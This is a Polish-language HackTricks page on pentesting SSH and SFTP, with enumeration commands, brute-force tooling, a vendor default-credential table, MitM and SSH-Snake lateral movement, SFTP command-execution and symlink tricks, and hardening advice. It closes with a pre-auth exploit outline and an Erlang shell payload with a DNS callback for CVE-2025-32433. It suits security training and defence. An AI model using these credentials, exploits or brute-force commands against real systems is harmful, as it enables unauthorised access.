25 KiB
Raw Blame History

22 - Pentesting SSH/SFTP

{{#include ../banners/hacktricks-training.md}}

Basic Information

SSH (Secure Shell or Secure Socket Shell) to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niechronioną sieć. Jest niezbędny do zachowania poufności i integralności danych podczas uzyskiwania dostępu do systemów zdalnych.

Domyślny port: 22

22/tcp open  ssh     syn-ack

Serwery SSH:

  • openSSH OpenBSD SSH, dostarczany w BSD, dystrybucjach Linuksa oraz Windows od Windows 10
  • Dropbear implementacja SSH dla środowisk o ograniczonej pamięci i mocy procesora, dostarczana w OpenWrt
  • PuTTY implementacja SSH dla Windows; klient jest powszechnie używany, natomiast użycie serwera jest rzadsze
  • CopSSH implementacja OpenSSH dla Windows

Biblioteki SSH (implementujące część serwerową):

  • libssh wieloplatformowa biblioteka w C implementująca protokół SSHv2 z bindingami w Python, Perl i R; jest używana przez KDE do sftp oraz przez GitHub w infrastrukturze git SSH
  • wolfSSH biblioteka serwerowa SSHv2 napisana w ANSI C, przeznaczona dla systemów embedded, RTOS i środowisk o ograniczonych zasobach
  • Apache MINA SSHD biblioteka Apache SSHD w Java oparta na Apache MINA
  • paramiko biblioteka protokołu SSHv2 dla Pythona

Enumeration

Banner Grabbing

nc -vn <IP> 22

Automatyczne ssh-audit

ssh-audit to narzędzie do audytu konfiguracji serwera i klienta ssh.

https://github.com/jtesta/ssh-audit to zaktualizowany fork z https://github.com/arthepsy/ssh-audit/

Funkcje:

  • Obsługa serwera protokołu SSH1 i SSH2;
  • analiza konfiguracji klienta SSH;
  • pobiera banner, rozpoznaje urządzenie lub oprogramowanie i system operacyjny, wykrywa kompresję;
  • zbiera algorytmy key-exchange, host-key, encryption i message authentication code;
  • wyświetla informacje o algorytmach (available since, removed/disabled, unsafe/weak/legacy, etc);
  • wyświetla rekomendacje dotyczące algorytmów (append or remove based on recognized software version);
  • wyświetla informacje o bezpieczeństwie (related issues, assigned CVE list, etc);
  • analizuje kompatybilność wersji SSH na podstawie informacji o algorytmach;
  • informacje historyczne z OpenSSH, Dropbear SSH i libssh;
  • działa na Linux i Windows;
  • brak zależności
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Publiczny klucz SSH serwera

ssh-keyscan -t rsa <IP> -p <PORT>

Słabe algorytmy szyfrujące

Jest to wykrywane domyślnie przez nmap. Możesz też użyć sslcan lub sslyze.

Nmap scripts

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

W niektórych wersjach OpenSSH można przeprowadzić timing attack w celu enumerate users. Można użyć modułu metasploit, aby to wykorzystać:

msf> use scanner/ssh/ssh_enumusers

Brute force

Kilka powszechnych poświadczeń ssh here i here oraz poniżej.

Private Key Brute Force

Jeśli znasz jakieś ssh private keys, które mogłyby zostać użyte... spróbujmy. Możesz użyć skryptu nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Lub MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Albo użyj ssh-keybrute.py (natywne python3, lekkie i z włączonymi starszymi algorytmami): snowdroppe/ssh-keybrute.

Znane badkeys można znaleźć tutaj:

{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}

Słabe klucze SSH / przewidywalny PRNG Debiana

Niektóre systemy mają znane błędy w ziarnie losowym używanym do generowania materiału kryptograficznego. Może to skutkować znacznym zmniejszeniem przestrzeni kluczy, którą można złamać metodą brute-force. Wstępnie wygenerowane zestawy kluczy pochodzących z systemów Debian dotkniętych słabym PRNG są dostępne tutaj: g0tmi1k/debian-ssh.

Zajrzyj tutaj, aby wyszukać poprawne klucze dla maszyny ofiary.

Kerberos / GSSAPI SSO

Jeśli docelowy serwer SSH obsługuje GSSAPI (np. Windows OpenSSH na domain controller), możesz uwierzytelnić się przy użyciu swojego Kerberos TGT zamiast hasła.

Przebieg na hoście atakującego z systemem Linux:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notes:

  • Jeśli połączysz się pod błędną nazwą (np. krótką nazwą hosta, aliasem lub w złej kolejności w /etc/hosts), możesz otrzymać: "Server not found in Kerberos database", ponieważ SPN nie pasuje.
  • crackmapexec ssh --kerberos może również użyć twojego ccache do uwierzytelniania Kerberos.

Domyślne dane logowania

Vendor Usernames Passwords
APC apc, device apc
Brocade admin admin123, password, brocade, fibranne
Cisco admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrix root, nsroot, nsmaint, vdiadmin, kvm, cli, admin C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Link admin, user private, admin, user
Dell root, user1, admin, vkernel, cli calvin, 123456, password, vkernel, Stor@ge!, admin
EMC admin, root, sysadmin EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Com admin, root, vcx, app, spvar, manage, hpsupport, opc_op admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huawei admin, root 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBM USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Juniper netscreen netscreen
NetApp admin netapp123
Oracle root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user changeme, ilom-admin, ilom-operator, welcome1, oracle
VMware vi-admin, root, hqadmin, vmware, admin vmware, vmw@re, hqadmin, default

SSH-MitM

Jeśli znajdujesz się w lokalnej sieci razem z ofiarą, która ma się połączyć z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować wykonać atak MitM w celu przechwycenia tych poświadczeń:

Ścieżka ataku:

  • Przekierowanie ruchu: Atakujący przekierowuje ruch ofiary na swoją maszynę, skutecznie przechwytując próbę połączenia z serwerem SSH.
  • Przechwytywanie i logowanie: Maszyna atakującego działa jako proxy, rejestrując dane logowania użytkownika poprzez podszywanie się pod prawdziwy serwer SSH.
  • Wykonywanie poleceń i relaying: Na koniec serwer atakującego zapisuje poświadczenia użytkownika, przekazuje polecenia do prawdziwego serwera SSH, wykonuje je i odsyła wyniki z powrotem do użytkownika, sprawiając, że proces wygląda płynnie i legalnie.

SSH MITM robi dokładnie to, co opisano powyżej.

Aby przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofin lub innych opisanych w Network Spoofing attacks.

SSH-Snake

Jeśli chcesz przemieszczać się po sieci wykorzystując odnalezione prywatne klucze SSH na systemach, używając każdego klucza prywatnego na każdym systemie do łączenia się z nowymi hostami, to SSH-Snake jest tym, czego potrzebujesz.

SSH-Snake wykonuje automatycznie i rekurencyjnie następujące zadania:

  1. Na bieżącym systemie znajduj wszystkie prywatne klucze SSH,
  2. Na bieżącym systemie znajdź wszystkie hosty lub destynacje (user@host), gdzie prywatne klucze mogą być akceptowane,
  3. Spróbuj połączyć się przez SSH ze wszystkimi destynacjami używając wszystkich odnalezionych prywatnych kluczy,
  4. Jeśli połączenie z destynacją powiedzie się, powtórz kroki #1 - #4 na połączonym systemie.

Jest całkowicie samoreplikujący się i samorozprzestrzeniający — oraz całkowicie bezplikowy.

Błędy konfiguracji

Logowanie jako root

Często serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi poważne ryzyko bezpieczeństwa. Wyłączenie logowania jako root jest krytycznym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można zredukować poprzez wprowadzenie tej zmiany.

Aby wyłączyć logowanie roota w OpenSSH:

  1. Edytuj plik konfiguracyjny SSH poleceniem: sudoedit /etc/ssh/sshd_config
  2. Zmień ustawienie z #PermitRootLogin yes na PermitRootLogin no.
  3. Przeładuj konfigurację używając: sudo systemctl daemon-reload
  4. Zrestartuj serwer SSH, aby zastosować zmiany: sudo systemctl restart sshd

SFTP Brute Force

Wykonywanie poleceń przez SFTP

Częstym przeoczeniem w konfiguracjach SFTP jest sytuacja, gdy administratorzy chcą, aby użytkownicy wymieniali pliki bez udostępniania dostępu do zdalnej powłoki. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. /usr/bin/nologin) i ograniczenia ich do określonego katalogu, istnieje luka bezpieczeństwa. Użytkownicy mogą obejść te ograniczenia żądając wykonania polecenia (np. /bin/bash) zaraz po zalogowaniu, zanim zacznie obowiązywać ich przypisana nieinteraktywna powłoka. To pozwala na nieautoryzowane wykonanie poleceń, podważając zamierzone zabezpieczenia.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Oto przykład bezpiecznej konfiguracji SFTP (/etc/ssh/sshd_config openSSH) dla użytkownika noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ta konfiguracja pozwoli jedynie na SFTP: wyłącza dostęp do powłoki przez wymuszenie komendy start i wyłączenie dostępu TTY, a także blokuje wszelkie rodzaje port forwarding oraz tunneling.

SFTP Tunneling

Jeśli masz dostęp do serwera SFTP, możesz także tunelować swój ruch przez niego, na przykład używając powszechnego port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Klient sftp ma polecenie "symlink". Dlatego, jeśli masz uprawnienia zapisu w jakimś folderze, możesz tworzyć symlinks innych folderów/plików. Ponieważ prawdopodobnie jesteś uwięziony w chroot, to nie będzie to dla Ciebie specjalnie przydatne, ale jeśli możesz uzyskać dostęp do utworzonego symlink z no-chroot service (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz open the symlinked files through the web.

For example, to create a symlink from a new file "froot" to "/":

sftp> symlink / froot

Jeśli możesz uzyskać dostęp do pliku "froot" przez web, będziesz mógł wyświetlić zawartość katalogu root ("/") systemu.

Metody uwierzytelniania

W środowiskach o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączenie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie publickey w konfiguracji openSSH i ustawienie jej jako metody domyślnej, ale nie wyłączenie password. Dlatego używając trybu verbose klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Na przykład, jeśli ustawiono limit nieudanych uwierzytelnień i nigdy nie dojdziesz do metody password, możesz użyć opcji PreferredAuthentications, aby wymusić użycie tej metody.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Przegląd konfiguracji serwera SSH jest konieczny, aby upewnić się, że autoryzowane są tylko oczekiwane metody. Użycie trybu verbose po stronie klienta może pomóc zobaczyć skuteczność konfiguracji.

Pliki konfiguracyjne

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Wiele implementacji serwerów SSH zawiera błędy logiczne w authentication finite-state machine, które pozwalają klientowi wysyłać connection-protocol wiadomości przed zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, czy znajduje się we właściwym stanie, wiadomości te są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do nieuwierzytelnionego wykonania kodu lub utworzenia sesji.

Na poziomie protokołu każda wiadomość SSH z message code ≥ 80 (0x50) należy do warstwy connection (RFC 4254) i powinna być akceptowana tylko po pomyślnym uwierzytelnieniu (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości będąc nadal w stanie SSH_AUTHENTICATION, atakujący może natychmiast utworzyć kanał i zażądać operacji takich jak command execution, port-forwarding, itp.

Generic Exploitation Steps

  1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą wystawiać Erlang/OTP na 2022, 830, 2222…).
  2. Sporządź surowy pakiet SSH:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload, który będzie zrozumiały dla wybranego typu wiadomości
  1. Wyślij pakiet(y) przed ukończeniem jakiegokolwiek kroku uwierzytelniania.
  2. Wchodź w interakcję z API serwera, które są teraz dostępne pre-auth (command execution, port forwarding, file-system access, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity  send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

W praktyce będziesz musiał wykonać (lub pominąć) key-exchange zgodnie z implementacją celu, ale no authentication nigdy nie jest wykonywana.


Erlang/OTP sshd (CVE-2025-32433)

  • Dotknięte wersje: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Przyczyna: natywny daemon SSH Erlang nie weryfikuje bieżącego stanu przed wywołaniem ssh_connection:handle_msg/2. W związku z tym dowolny pakiet z kodem wiadomości 80-255 trafia do handlera połączenia, podczas gdy sesja nadal znajduje się w stanie userauth.
  • Wpływ: nieautoryzowane remote code execution (daemon zazwyczaj działa jako root na urządzeniach embedded/OT).

Przykładowy payload, który uruchamia reverse shell powiązany z kanałem kontrolowanym przez atakującego:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Wykrywanie i łagodzenie:

  • Monitoruj ruch SSH: odrzucaj każdy pakiet z kodem komunikatu ≥ 80 wykryty przed uwierzytelnieniem.
  • Zaktualizuj Erlang/OTP do 27.3.3 / 26.2.5.11 / 25.3.2.20 lub nowszej.
  • Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) szczególnie na urządzeniach OT.

Inne dotknięte implementacje

  • libssh 0.6 0.8 (po stronie serwera) CVE-2018-10933 akceptuje nieuwierzytelnione SSH_MSG_USERAUTH_SUCCESS wysłane przez klienta, w praktyce będąc odwrotnym błędem logiki.

Wspólna lekcja jest taka, że każde odstępstwo od przejść stanów narzuconych przez RFC może być krytyczne; podczas przeglądu lub fuzzingu daemonów SSH zwróć szczególną uwagę na egzekwowanie maszyny stanów.

Źródła

Automatyczne polecenia HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

{{#include ../banners/hacktricks-training.md}}